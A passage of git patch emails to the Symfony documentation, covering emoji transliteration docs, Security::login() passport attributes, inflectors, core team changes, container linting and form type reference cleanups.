-    {{ 'My :turtle: has no name yet'|emojify('github') }} {# renders: My 🐢 has no name yet #}
-    {{ ':kiwi: is a great fruit'|emojify('gitlab') }}     {# renders: 🥝 is a great fruit #}
-
-Removing Emojis
-~~~~~~~~~~~~~~~
-
-The ``EmojiTransliterator`` can also be used to remove all emojis from a string,
-via the special ``strip`` locale::
-
-    use Symfony\Component\Emoji\EmojiTransliterator;
-
-    $transliterator = EmojiTransliterator::create('strip');
-    $transliterator->transliterate('🎉Hey!🥳 🎁Happy Birthday!🎁');
-    // => 'Hey! Happy Birthday!'
-
 .. _string-slugger:
 
 Slugger
@@ -752,7 +581,7 @@ the injected slugger is the same as the request locale::
 Slug Emojis
 ~~~~~~~~~~~
 
-You can also combine the :ref:`emoji transliterator <string-emoji-transliteration>`
+You can also combine the :ref:`emoji transliterator <emoji-transliteration>`
 with the slugger to transform any emojis into their textual representation::
 
     use Symfony\Component\String\Slugger\AsciiSlugger;
@@ -822,4 +651,3 @@ possible to determine a unique singular/plural form for the given word.
 .. _`Code points`: https://en.wikipedia.org/wiki/Code_point
 .. _`Grapheme clusters`: https://en.wikipedia.org/wiki/Grapheme
 .. _`Unicode equivalence`: https://en.wikipedia.org/wiki/Unicode_equivalence
-.. _`Unicode CLDR dataset`: https://github.com/unicode-org/cldr

From add4600eab9d96b52a44eae81f35904c45e23e92 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 19 Sep 2024 17:31:06 +0200
Subject: [PATCH 5028/5766] Minor tweaks

---
 emoji.rst | 50 ++++++++++++++++++++++++++++++++++++++++----------
 1 file changed, 40 insertions(+), 10 deletions(-)

diff --git a/emoji.rst b/emoji.rst
index ba6ca38ed73..551497f0c76 100644
--- a/emoji.rst
+++ b/emoji.rst
@@ -32,7 +32,7 @@ to compress the internal Symfony emoji data files using the PHP ``zlib`` extensi
 .. _emoji-transliteration:
 
 Emoji Transliteration
-~~~~~~~~~~~~~~~~~~~~~
+---------------------
 
 The ``EmojiTransliterator`` class offers a way to translate emojis into their
 textual representation in all languages based on the `Unicode CLDR dataset`_::
@@ -49,11 +49,13 @@ textual representation in all languages based on the `Unicode CLDR dataset`_::
     $transliterator->transliterate('Menus with 🍕 or 🍝');
     // => 'Menus with піца or спагеті'
 
-You can also combine the ``EmojiTransliterator`` with the :ref:`slugger <string-slugger-emoji>`
-to transform any emojis into their textual representation.
+.. tip::
+
+    When using the :ref:`slugger <string-slugger>` from the String component,
+    you can combine it with the ``EmojiTransliterator`` to :ref:`slugify emojis <string-slugger-emoji>`.
 
 Transliterating Emoji Text Short Codes
-......................................
+--------------------------------------
 
 Services like GitHub and Slack allows to include emojis in your messages using
 text short codes (e.g. you can add the ``:+1:`` code to render the 👍 emoji).
@@ -62,6 +64,9 @@ Symfony also provides a feature to transliterate emojis into short codes and vic
 versa. The short codes are slightly different on each service, so you must pass
 the name of the service as an argument when creating the transliterator.
 
+GitHub Emoji Short Codes Transliteration
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
 Convert emojis to GitHub short codes with the ``emoji-github`` locale::
 
     $transliterator = EmojiTransliterator::create('emoji-github');
@@ -74,15 +79,40 @@ Convert GitHub short codes to emojis with the ``github-emoji`` locale::
     $transliterator->transliterate('Teenage :turtle: really love :pizza:');
     // => 'Teenage 🐢 really love 🍕'
 
-.. note::
+Gitlab Emoji Short Codes Transliteration
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+Convert emojis to Gitlab short codes with the ``emoji-gitlab`` locale::
+
+    $transliterator = EmojiTransliterator::create('emoji-gitlab');
+    $transliterator->transliterate('Breakfast with 🥝 or 🥛');
+    // => 'Breakfast with :kiwi: or :milk:'
+
+Convert Gitlab short codes to emojis with the ``gitlab-emoji`` locale::
+
+    $transliterator = EmojiTransliterator::create('gitlab-emoji');
+    $transliterator->transliterate('Breakfast with :kiwi: or :milk:');
+    // => 'Breakfast with 🥝 or 🥛'
+
+Slack Emoji Short Codes Transliteration
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+Convert emojis to Slack short codes with the ``emoji-slack`` locale::
+
+    $transliterator = EmojiTransliterator::create('emoji-slack');
+    $transliterator->transliterate('Menus with 🥗 or 🧆');
+    // => 'Menus with :green_salad: or :falafel:'
+
+Convert Slack short codes to emojis with the ``slack-emoji`` locale::
 
-    Github, Gitlab and Slack are currently available services in
-    ``EmojiTransliterator``.
+    $transliterator = EmojiTransliterator::create('slack-emoji');
+    $transliterator->transliterate('Menus with :green_salad: or :falafel:');
+    // => 'Menus with 🥗 or 🧆'
 
 .. _text-emoji:
 
 Universal Emoji Short Codes Transliteration
-###########################################
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 If you don't know which service was used to generate the short codes, you can use
 the ``text-emoji`` locale, which combines all codes from all services::
@@ -106,7 +136,7 @@ You can convert emojis to short codes with the ``emoji-text`` locale::
     // => 'Breakfast with :kiwifruit: or :milk-glass:
 
 Inverse Emoji Transliteration
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+-----------------------------
 
 Given the textual representation of an emoji, you can reverse it back to get the
 actual emoji thanks to the :ref:`emojify filter <reference-twig-filter-emojify>`:
@@ -129,7 +159,7 @@ specific catalog to use:
     {{ ':kiwi: is a great fruit'|emojify('gitlab') }}     {# renders: 🥝 is a great fruit #}
 
 Removing Emojis
-~~~~~~~~~~~~~~~
+---------------
 
 The ``EmojiTransliterator`` can also be used to remove all emojis from a string,
 via the special ``strip`` locale::

From 7815198fe2e3b58229650e022cd8c89cb53c1568 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 19 Sep 2024 17:33:25 +0200
Subject: [PATCH 5029/5766] [String] Added a message about the moved Emoji docs

---
 string.rst | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/string.rst b/string.rst
index 702e9344880..667dcd06010 100644
--- a/string.rst
+++ b/string.rst
@@ -507,6 +507,11 @@ requested during the program execution. You can also create lazy strings from a
     // hash computation only if it's needed
     $lazyHash = LazyString::fromStringable(new Hash());
 
+Working with Emojis
+-------------------
+
+These contents have been moved to the :doc:`Emoji component docs </emoji>`.
+
 .. _string-slugger:
 
 Slugger

From 7573d4a1211c81ae08d2ca26df5311322c45bb0b Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Thu, 19 Sep 2024 10:11:30 +0200
Subject: [PATCH 5030/5766] [Security] Allow passport attributes in
 `Security::login()`

---
 security.rst | 11 ++++++++++-
 1 file changed, 10 insertions(+), 1 deletion(-)

diff --git a/security.rst b/security.rst
index a8aa652a222..51ee9b5c3fb 100644
--- a/security.rst
+++ b/security.rst
@@ -1767,9 +1767,12 @@ You can log in a user programmatically using the ``login()`` method of the
             // you can also log in on a different firewall...
             $security->login($user, 'form_login', 'other_firewall');
 
-            // ...and add badges
+            // ... add badges...
             $security->login($user, 'form_login', 'other_firewall', [(new RememberMeBadge())->enable()]);
 
+            // ... and also add passport attributes
+            $security->login($user, 'form_login', 'other_firewall', [(new RememberMeBadge())->enable()], ['referer' => 'https://oauth.example.com']);
+
             // use the redirection logic applied to regular login
             $redirectResponse = $security->login($user);
             return $redirectResponse;
@@ -1779,6 +1782,12 @@ You can log in a user programmatically using the ``login()`` method of the
         }
     }
 
+.. versionadded:: 7.2
+
+    The support for passport attributes in the
+    :method:`Symfony\\Bundle\\SecurityBundle\\Security::login` method was
+    introduced in Symfony 7.2.
+
 .. _security-logging-out:
 
 Logging Out

From 56ab079c3a467a1349e4aeda51eb108581e707ce Mon Sep 17 00:00:00 2001
From: Simo Heinonen <simo@dudgeon.fi>
Date: Thu, 19 Sep 2024 16:48:18 +0300
Subject: [PATCH 5031/5766] Update value_resolver.rst

---
 controller/value_resolver.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/controller/value_resolver.rst b/controller/value_resolver.rst
index 3e888793c15..ed0b856b442 100644
--- a/controller/value_resolver.rst
+++ b/controller/value_resolver.rst
@@ -106,7 +106,7 @@ Symfony ships with the following value resolvers in the
     .. tip::
 
         The ``DateTimeInterface`` object is generated with the :doc:`Clock component </components/clock>`.
-        This. gives your full control over the date and time values the controller
+        This gives your full control over the date and time values the controller
         receives when testing your application and using the
         :class:`Symfony\\Component\\Clock\\MockClock` implementation.
 

From c2b0315c54237723d2f0d1d0984e309217e96c85 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Thu, 19 Sep 2024 22:38:22 +0200
Subject: [PATCH 5032/5766] Update controller/value_resolver.rst

Co-authored-by: Christian Flothmann <christian.flothmann@gmail.com>
---
 controller/value_resolver.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/controller/value_resolver.rst b/controller/value_resolver.rst
index ed0b856b442..08ba5f3eb72 100644
--- a/controller/value_resolver.rst
+++ b/controller/value_resolver.rst
@@ -106,7 +106,7 @@ Symfony ships with the following value resolvers in the
     .. tip::
 
         The ``DateTimeInterface`` object is generated with the :doc:`Clock component </components/clock>`.
-        This gives your full control over the date and time values the controller
+        This gives you full control over the date and time values the controller
         receives when testing your application and using the
         :class:`Symfony\\Component\\Clock\\MockClock` implementation.
 

From b0a91ce7a24f40b52d6732d32fc1dad28043a964 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 19 Sep 2024 09:00:51 +0200
Subject: [PATCH 5033/5766] [String] Document the Spanish inflector

---
 string.rst | 23 ++++++++++++++++++++---
 1 file changed, 20 insertions(+), 3 deletions(-)

diff --git a/string.rst b/string.rst
index f2856976986..cb822e1dbd1 100644
--- a/string.rst
+++ b/string.rst
@@ -820,11 +820,28 @@ class to convert English words from/to singular/plural with confidence::
 The value returned by both methods is always an array because sometimes it's not
 possible to determine a unique singular/plural form for the given word.
 
+Symfony also provides inflectors for other languages::
+
+    use Symfony\Component\String\Inflector\FrenchInflector;
+
+    $inflector = new FrenchInflector();
+    $result = $inflector->singularize('souris'); // ['souris']
+    $result = $inflector->pluralize('hôpital');  // ['hôpitaux']
+
+    use Symfony\Component\String\Inflector\SpanishInflector;
+
+    $inflector = new SpanishInflector();
+    $result = $inflector->singularize('aviones'); // ['avión']
+    $result = $inflector->pluralize('miércoles'); // ['miércoles']
+
+.. versionadded:: 7.2
+
+    The ``SpanishInflector`` class was introduced in Symfony 7.2.
+
 .. note::
 
-    Symfony also provides a :class:`Symfony\\Component\\String\\Inflector\\FrenchInflector`
-    and an :class:`Symfony\\Component\\String\\Inflector\\InflectorInterface` if
-    you need to implement your own inflector.
+    Symfony provides a :class:`Symfony\\Component\\String\\Inflector\\InflectorInterface`
+    in case you need to implement your own inflector.
 
 .. _`ASCII`: https://en.wikipedia.org/wiki/ASCII
 .. _`Unicode`: https://en.wikipedia.org/wiki/Unicode

From 3983e81d511ced672866601c191f4ec780492634 Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Fri, 20 Sep 2024 16:59:19 +0200
Subject: [PATCH 5034/5766] fix typo

---
 string.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/string.rst b/string.rst
index da82791c740..37f64bc4f3b 100644
--- a/string.rst
+++ b/string.rst
@@ -674,7 +674,7 @@ Symfony also provides inflectors for other languages::
 
 .. note::
 
-    Symfony provides a :class:`Symfony\\Component\\String\\Inflector\\InflectorInterface`
+    Symfony provides an :class:`Symfony\\Component\\String\\Inflector\\InflectorInterface`
     in case you need to implement your own inflector.
 
 .. _`ASCII`: https://en.wikipedia.org/wiki/ASCII

From 58350a556c35b5d989b722ba15ebb07fcad7430e Mon Sep 17 00:00:00 2001
From: Fabien Potencier <fabien@potencier.org>
Date: Sat, 21 Sep 2024 07:52:43 +0200
Subject: [PATCH 5035/5766] Move some core team members to the former core
 members section

---
 contributing/code/core_team.rst | 10 +++++-----
 1 file changed, 5 insertions(+), 5 deletions(-)

diff --git a/contributing/code/core_team.rst b/contributing/code/core_team.rst
index 0a2324b08a3..efc60894c7c 100644
--- a/contributing/code/core_team.rst
+++ b/contributing/code/core_team.rst
@@ -50,19 +50,16 @@ Active Core Members
   * **Nicolas Grekas** (`nicolas-grekas`_);
   * **Christophe Coevoet** (`stof`_);
   * **Christian Flothmann** (`xabbuh`_);
-  * **Tobias Schultze** (`Tobion`_);
   * **Kévin Dunglas** (`dunglas`_);
   * **Javier Eguiluz** (`javiereguiluz`_);
   * **Grégoire Pineau** (`lyrixx`_);
   * **Ryan Weaver** (`weaverryan`_);
   * **Robin Chalas** (`chalasr`_);
-  * **Maxime Steinhausser** (`ogizanagi`_);
   * **Yonel Ceruto** (`yceruto`_);
   * **Tobias Nyholm** (`Nyholm`_);
   * **Wouter De Jong** (`wouterj`_);
   * **Alexander M. Turek** (`derrabus`_);
   * **Jérémy Derussé** (`jderusse`_);
-  * **Titouan Galopin** (`tgalopin`_);
   * **Oskar Stark** (`OskarStark`_);
   * **Thomas Calvet** (`fancyweb`_);
   * **Mathieu Santostefano** (`welcomattic`_);
@@ -72,7 +69,6 @@ Active Core Members
 * **Security Team** (``@symfony/security`` on GitHub):
 
   * **Fabien Potencier** (`fabpot`_);
-  * **Michael Cullum** (`michaelcullum`_);
   * **Jérémy Derussé** (`jderusse`_).
 
 * **Documentation Team** (``@symfony/team-symfony-docs`` on GitHub):
@@ -97,7 +93,11 @@ Symfony contributions:
 * **Lukas Kahwe Smith** (`lsmith77`_);
 * **Jules Pietri** (`HeahDude`_);
 * **Jakub Zalas** (`jakzal`_);
-* **Samuel Rozé** (`sroze`_).
+* **Samuel Rozé** (`sroze`_);
+* **Tobias Schultze** (`Tobion`_);
+* **Maxime Steinhausser** (`ogizanagi`_);
+* **Titouan Galopin** (`tgalopin`_);
+* **Michael Cullum** (`michaelcullum`_).
 
 Core Membership Application
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~

From 19ee7d29930b86c8589ae4b67ce4ef2b9116b657 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?J=C3=BCrgen?= <juukie@users.noreply.github.com>
Date: Sat, 21 Sep 2024 22:29:02 +0200
Subject: [PATCH 5036/5766] Fix typo filename

---
 service_container.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/service_container.rst b/service_container.rst
index eef0433a3c8..ff7a60d441b 100644
--- a/service_container.rst
+++ b/service_container.rst
@@ -1434,7 +1434,7 @@ Let's say you have the following functional interface::
 You also have a service that defines many methods and one of them is the same
 ``format()`` method of the previous interface::
 
-    // src/Service/MessageFormatterInterface.php
+    // src/Service/MessageUtils.php
     namespace App\Service;
 
     class MessageUtils

From fdda76fe73d83158eba51bbff5798ddd38ccf1ef Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 19 Sep 2024 12:41:59 +0200
Subject: [PATCH 5037/5766] [FrameworkBundle] Document the `resolve-env-vars`
 option of `lint:container` command

---
 service_container.rst | 8 ++++++++
 1 file changed, 8 insertions(+)

diff --git a/service_container.rst b/service_container.rst
index 9e1cdff2098..f329587eb54 100644
--- a/service_container.rst
+++ b/service_container.rst
@@ -1069,6 +1069,14 @@ application to production (e.g. in your continuous integration server):
 
     $ php bin/console lint:container
 
+    # optionally, you can force the resolution of environment variables;
+    # the command will fail if any of those environment variables are missing
+    $ php bin/console lint:container --resolve-env-vars
+
+.. versionadded:: 7.2
+
+    The ``--resolve-env-vars`` option was introduced in Symfony 7.2.
+
 Performing those checks whenever the container is compiled can hurt performance.
 That's why they are implemented in :doc:`compiler passes </service_container/compiler_passes>`
 called ``CheckTypeDeclarationsPass`` and ``CheckAliasValidityPass``, which are

From a78ff470d7019a3cbf550ed3a7412340e18992e7 Mon Sep 17 00:00:00 2001
From: Yonel Ceruto <yonel.ceruto@scnd.com>
Date: Sun, 22 Sep 2024 11:34:16 -0400
Subject: [PATCH 5038/5766] documenting non-empty parameters

---
 configuration.rst | 19 +++++++++++++++++++
 1 file changed, 19 insertions(+)

diff --git a/configuration.rst b/configuration.rst
index 36dceae1b71..52dc9b98c95 100644
--- a/configuration.rst
+++ b/configuration.rst
@@ -382,6 +382,25 @@ a new ``locale`` parameter is added to the ``config/services.yaml`` file).
     They are useful when working with :ref:`Compiler Passes </service_container/compiler_passes>`
     to declare some temporary parameters that won't be available later in the application.
 
+Configuration parameters are usually validation-free, but you can ensure that
+essential parameters for your application's functionality are not empty::
+
+    // ContainerBuilder
+    $container->parameterCannotBeEmpty('app.private_key', 'Did you forget to configure a non-empty value for "app.private_key" parameter?');
+
+If a non-empty parameter is ``null``, an empty string ``''``, or an empty array ``[]``,
+Symfony will throw an exception with the custom error message when attempting to
+retrieve the value of this parameter.
+
+.. versionadded:: 7.2
+
+    Validating non-empty parameters was introduced in Symfony 7.2.
+
+.. note::
+
+    Please note that this validation will *only* occur if a non-empty parameter value
+    is retrieved; otherwise, no exception will be thrown.
+
 .. seealso::
 
     Later in this article you can read how to

From 5cbf3c07d77357fcfdc46827b9e4b23d4c5fce59 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 24 Sep 2024 10:38:44 +0200
Subject: [PATCH 5039/5766] [Form] Remove a broken link

---
 reference/forms/types/search.rst | 4 ----
 1 file changed, 4 deletions(-)

diff --git a/reference/forms/types/search.rst b/reference/forms/types/search.rst
index e38021bc461..32db9b3eccb 100644
--- a/reference/forms/types/search.rst
+++ b/reference/forms/types/search.rst
@@ -4,8 +4,6 @@ SearchType Field
 This renders an ``<input type="search">`` field, which is a text box with
 special functionality supported by some browsers.
 
-Read about the input search field at `DiveIntoHTML5.info`_
-
 +---------------------------+----------------------------------------------------------------------+
 | Rendered as               | ``input search`` field                                               |
 +---------------------------+----------------------------------------------------------------------+
@@ -65,5 +63,3 @@ The default value is ``''`` (the empty string).
 .. include:: /reference/forms/types/options/row_attr.rst.inc
 
 .. include:: /reference/forms/types/options/trim.rst.inc
-
-.. _`DiveIntoHTML5.info`: http://diveintohtml5.info/forms.html#type-search

From 6516a9b4bcd72535bc566686284596b4b85a082d Mon Sep 17 00:00:00 2001
From: Matthieu Lempereur <matt.lempereur@gmail.com>
Date: Tue, 24 Sep 2024 10:49:35 +0200
Subject: [PATCH 5040/5766] form/remove-legacy-message

---
 reference/forms/types/birthday.rst     | 2 --
 reference/forms/types/checkbox.rst     | 2 --
 reference/forms/types/choice.rst       | 2 --
 reference/forms/types/collection.rst   | 2 --
 reference/forms/types/color.rst        | 2 --
 reference/forms/types/country.rst      | 2 --
 reference/forms/types/currency.rst     | 2 --
 reference/forms/types/date.rst         | 2 --
 reference/forms/types/dateinterval.rst | 2 --
 reference/forms/types/datetime.rst     | 2 --
 reference/forms/types/email.rst        | 2 --
 reference/forms/types/enum.rst         | 2 --
 reference/forms/types/file.rst         | 2 --
 reference/forms/types/form.rst         | 2 --
 reference/forms/types/hidden.rst       | 2 --
 reference/forms/types/integer.rst      | 2 --
 reference/forms/types/language.rst     | 2 --
 reference/forms/types/locale.rst       | 2 --
 reference/forms/types/money.rst        | 2 --
 reference/forms/types/number.rst       | 2 --
 reference/forms/types/password.rst     | 2 --
 reference/forms/types/percent.rst      | 2 --
 reference/forms/types/radio.rst        | 2 --
 reference/forms/types/range.rst        | 2 --
 reference/forms/types/repeated.rst     | 2 --
 reference/forms/types/search.rst       | 2 --
 reference/forms/types/tel.rst          | 2 --
 reference/forms/types/time.rst         | 2 --
 reference/forms/types/timezone.rst     | 2 --
 reference/forms/types/ulid.rst         | 2 --
 reference/forms/types/url.rst          | 2 --
 reference/forms/types/uuid.rst         | 2 --
 reference/forms/types/week.rst         | 2 --
 33 files changed, 66 deletions(-)

diff --git a/reference/forms/types/birthday.rst b/reference/forms/types/birthday.rst
index 2098d3cfb89..383dbf890f2 100644
--- a/reference/forms/types/birthday.rst
+++ b/reference/forms/types/birthday.rst
@@ -19,8 +19,6 @@ option defaults to 120 years ago to the current year.
 +---------------------------+-------------------------------------------------------------------------------+
 | Default invalid message   | Please enter a valid birthdate.                                               |
 +---------------------------+-------------------------------------------------------------------------------+
-| Legacy invalid message    | The value {{ value }} is not valid.                                           |
-+---------------------------+-------------------------------------------------------------------------------+
 | Parent type               | :doc:`DateType </reference/forms/types/date>`                                 |
 +---------------------------+-------------------------------------------------------------------------------+
 | Class                     | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\BirthdayType`        |
diff --git a/reference/forms/types/checkbox.rst b/reference/forms/types/checkbox.rst
index 472d6f84024..2299220c5b6 100644
--- a/reference/forms/types/checkbox.rst
+++ b/reference/forms/types/checkbox.rst
@@ -13,8 +13,6 @@ if you want to handle submitted values like "0" or "false").
 +---------------------------+------------------------------------------------------------------------+
 | Default invalid message   | The checkbox has an invalid value.                                     |
 +---------------------------+------------------------------------------------------------------------+
-| Legacy invalid message    | The value {{ value }} is not valid.                                    |
-+---------------------------+------------------------------------------------------------------------+
 | Parent type               | :doc:`FormType </reference/forms/types/form>`                          |
 +---------------------------+------------------------------------------------------------------------+
 | Class                     | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\CheckboxType` |
diff --git a/reference/forms/types/choice.rst b/reference/forms/types/choice.rst
index 0b250b799da..55f2d016001 100644
--- a/reference/forms/types/choice.rst
+++ b/reference/forms/types/choice.rst
@@ -11,8 +11,6 @@ To use this field, you must specify *either* ``choices`` or ``choice_loader`` op
 +---------------------------+----------------------------------------------------------------------+
 | Default invalid message   | The selected choice is invalid.                                      |
 +---------------------------+----------------------------------------------------------------------+
-| Legacy invalid message    | The value {{ value }} is not valid.                                  |
-+---------------------------+----------------------------------------------------------------------+
 | Parent type               | :doc:`FormType </reference/forms/types/form>`                        |
 +---------------------------+----------------------------------------------------------------------+
 | Class                     | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\ChoiceType` |
diff --git a/reference/forms/types/collection.rst b/reference/forms/types/collection.rst
index acb110fd722..c5fee42f06c 100644
--- a/reference/forms/types/collection.rst
+++ b/reference/forms/types/collection.rst
@@ -16,8 +16,6 @@ that is passed as the collection type field data.
 +---------------------------+--------------------------------------------------------------------------+
 | Default invalid message   | The collection is invalid.                                               |
 +---------------------------+--------------------------------------------------------------------------+
-| Legacy invalid message    | The value {{ value }} is not valid.                                      |
-+---------------------------+--------------------------------------------------------------------------+
 | Parent type               | :doc:`FormType </reference/forms/types/form>`                            |
 +---------------------------+--------------------------------------------------------------------------+
 | Class                     | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\CollectionType` |
diff --git a/reference/forms/types/color.rst b/reference/forms/types/color.rst
index 1a320b9bdbf..b205127fb91 100644
--- a/reference/forms/types/color.rst
+++ b/reference/forms/types/color.rst
@@ -16,8 +16,6 @@ element.
 +---------------------------+---------------------------------------------------------------------+
 | Default invalid message   | Please select a valid color.                                        |
 +---------------------------+---------------------------------------------------------------------+
-| Legacy invalid message    | The value {{ value }} is not valid.                                 |
-+---------------------------+---------------------------------------------------------------------+
 | Parent type               | :doc:`TextType </reference/forms/types/text>`                       |
 +---------------------------+---------------------------------------------------------------------+
 | Class                     | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\ColorType` |
diff --git a/reference/forms/types/country.rst b/reference/forms/types/country.rst
index 8913e639f23..d841461b2f5 100644
--- a/reference/forms/types/country.rst
+++ b/reference/forms/types/country.rst
@@ -20,8 +20,6 @@ the option manually, but then you should just use the ``ChoiceType`` directly.
 +---------------------------+-----------------------------------------------------------------------+
 | Default invalid message   | Please select a valid country.                                        |
 +---------------------------+-----------------------------------------------------------------------+
-| Legacy invalid message    | The value {{ value }} is not valid.                                   |
-+---------------------------+-----------------------------------------------------------------------+
 | Parent type               | :doc:`ChoiceType </reference/forms/types/choice>`                     |
 +---------------------------+-----------------------------------------------------------------------+
 | Class                     | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\CountryType` |
diff --git a/reference/forms/types/currency.rst b/reference/forms/types/currency.rst
index cca441ff930..b69225eb78c 100644
--- a/reference/forms/types/currency.rst
+++ b/reference/forms/types/currency.rst
@@ -13,8 +13,6 @@ manually, but then you should just use the ``ChoiceType`` directly.
 +---------------------------+------------------------------------------------------------------------+
 | Default invalid message   | Please select a valid currency.                                        |
 +---------------------------+------------------------------------------------------------------------+
-| Legacy invalid message    | The value {{ value }} is not valid.                                    |
-+---------------------------+------------------------------------------------------------------------+
 | Parent type               | :doc:`ChoiceType </reference/forms/types/choice>`                      |
 +---------------------------+------------------------------------------------------------------------+
 | Class                     | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\CurrencyType` |
diff --git a/reference/forms/types/date.rst b/reference/forms/types/date.rst
index 515c12099a1..c412872442e 100644
--- a/reference/forms/types/date.rst
+++ b/reference/forms/types/date.rst
@@ -14,8 +14,6 @@ and can understand a number of different input formats via the `input`_ option.
 +---------------------------+-----------------------------------------------------------------------------+
 | Default invalid message   | Please enter a valid date.                                                  |
 +---------------------------+-----------------------------------------------------------------------------+
-| Legacy invalid message    | The value {{ value }} is not valid.                                         |
-+---------------------------+-----------------------------------------------------------------------------+
 | Parent type               | :doc:`FormType </reference/forms/types/form>`                               |
 +---------------------------+-----------------------------------------------------------------------------+
 | Class                     | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\DateType`          |
diff --git a/reference/forms/types/dateinterval.rst b/reference/forms/types/dateinterval.rst
index 627fb78d7ed..38fccb47cd1 100644
--- a/reference/forms/types/dateinterval.rst
+++ b/reference/forms/types/dateinterval.rst
@@ -16,8 +16,6 @@ or an array (see `input`_).
 +---------------------------+----------------------------------------------------------------------------------+
 | Default invalid message   | Please choose a valid date interval.                                             |
 +---------------------------+----------------------------------------------------------------------------------+
-| Legacy invalid message    | The value {{ value }} is not valid.                                              |
-+---------------------------+----------------------------------------------------------------------------------+
 | Parent type               | :doc:`FormType </reference/forms/types/form>`                                    |
 +---------------------------+----------------------------------------------------------------------------------+
 | Class                     | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\DateIntervalType`       |
diff --git a/reference/forms/types/datetime.rst b/reference/forms/types/datetime.rst
index 7ffc0ee216f..5fda8e9a14f 100644
--- a/reference/forms/types/datetime.rst
+++ b/reference/forms/types/datetime.rst
@@ -14,8 +14,6 @@ the data can be a ``DateTime`` object, a string, a timestamp or an array.
 +---------------------------+-----------------------------------------------------------------------------+
 | Default invalid message   | Please enter a valid date and time.                                         |
 +---------------------------+-----------------------------------------------------------------------------+
-| Legacy invalid message    | The value {{ value }} is not valid.                                         |
-+---------------------------+-----------------------------------------------------------------------------+
 | Parent type               | :doc:`FormType </reference/forms/types/form>`                               |
 +---------------------------+-----------------------------------------------------------------------------+
 | Class                     | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\DateTimeType`      |
diff --git a/reference/forms/types/email.rst b/reference/forms/types/email.rst
index 9045bba8cc4..ef535050813 100644
--- a/reference/forms/types/email.rst
+++ b/reference/forms/types/email.rst
@@ -9,8 +9,6 @@ The ``EmailType`` field is a text field that is rendered using the HTML5
 +---------------------------+---------------------------------------------------------------------+
 | Default invalid message   | Please enter a valid email address.                                 |
 +---------------------------+---------------------------------------------------------------------+
-| Legacy invalid message    | The value {{ value }} is not valid.                                 |
-+---------------------------+---------------------------------------------------------------------+
 | Parent type               | :doc:`TextType </reference/forms/types/text>`                       |
 +---------------------------+---------------------------------------------------------------------+
 | Class                     | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\EmailType` |
diff --git a/reference/forms/types/enum.rst b/reference/forms/types/enum.rst
index 0aad19767e3..875c0808108 100644
--- a/reference/forms/types/enum.rst
+++ b/reference/forms/types/enum.rst
@@ -10,8 +10,6 @@ field and defines the same options.
 +---------------------------+----------------------------------------------------------------------+
 | Default invalid message   | The selected choice is invalid.                                      |
 +---------------------------+----------------------------------------------------------------------+
-| Legacy invalid message    | The value {{ value }} is not valid.                                  |
-+---------------------------+----------------------------------------------------------------------+
 | Parent type               | :doc:`ChoiceType </reference/forms/types/choice>`                    |
 +---------------------------+----------------------------------------------------------------------+
 | Class                     | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\EnumType`   |
diff --git a/reference/forms/types/file.rst b/reference/forms/types/file.rst
index b4982859b98..2e841611eb8 100644
--- a/reference/forms/types/file.rst
+++ b/reference/forms/types/file.rst
@@ -8,8 +8,6 @@ The ``FileType`` represents a file input in your form.
 +---------------------------+--------------------------------------------------------------------+
 | Default invalid message   | Please select a valid file.                                        |
 +---------------------------+--------------------------------------------------------------------+
-| Legacy invalid message    | The value {{ value }} is not valid.                                |
-+---------------------------+--------------------------------------------------------------------+
 | Parent type               | :doc:`FormType </reference/forms/types/form>`                      |
 +---------------------------+--------------------------------------------------------------------+
 | Class                     | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\FileType` |
diff --git a/reference/forms/types/form.rst b/reference/forms/types/form.rst
index 0d0089c1fd3..58a6214d379 100644
--- a/reference/forms/types/form.rst
+++ b/reference/forms/types/form.rst
@@ -7,8 +7,6 @@ on all types for which ``FormType`` is the parent.
 +---------------------------+--------------------------------------------------------------------+
 | Default invalid message   | This value is not valid.                                           |
 +---------------------------+--------------------------------------------------------------------+
-| Legacy invalid message    | This value is not valid.                                           |
-+---------------------------+--------------------------------------------------------------------+
 | Parent                    | none                                                               |
 +---------------------------+--------------------------------------------------------------------+
 | Class                     | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\FormType` |
diff --git a/reference/forms/types/hidden.rst b/reference/forms/types/hidden.rst
index fba056b88e5..d6aff282edd 100644
